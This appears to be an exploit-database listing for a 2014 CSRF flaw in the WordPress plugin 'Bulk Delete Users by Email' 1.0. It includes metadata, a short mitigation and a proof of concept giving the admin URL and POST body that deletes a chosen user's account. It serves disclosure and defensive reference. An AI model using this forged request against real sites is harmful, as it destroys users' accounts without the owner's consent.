header-logo
Suggest Exploit
vendor:
Bulk Delete Users by Email
by:
Fikri Fadzil
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: Bulk Delete Users by Email
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:speakdigital:bulk_delete_users_by_email:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: PHP
2014

Bulk Delete Users by Email, WordPress Plugin 1.0 – CSRF

This plugin will allow administrator to delete user(s) account by entering their email address. By forcing the administrator to send a POST request to the URL http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php with the request de-text=<victim email>&submit=Search+and+Delete, the user with the given email address will be deleted.

Mitigation:

Ensure that the application is properly validating user input and that all requests are verified to be coming from a trusted source.
Source

Exploit-DB raw data:

# Exploit Title: Bulk Delete Users by Email, Wordpress Plugin 1.0 - CSRF
# Google Dork: N/A
# Date: 05.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://www.speakdigital.co.uk/
# Software Link: https://wordpress.org/plugins/bulk-delete-users-by-email/
# Version: 1.0
# Tested on: PHP


Description:
This plugin will allow administrator to delete user(s) account by entering
their email address.

Proof of Concept
1. Force the administrator to send below request:

URL :
http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php
METHOD : POST
REQUEST : de-text=<victim email>&submit=Search+and+Delete

* As the result, user with the given email address will be deleted.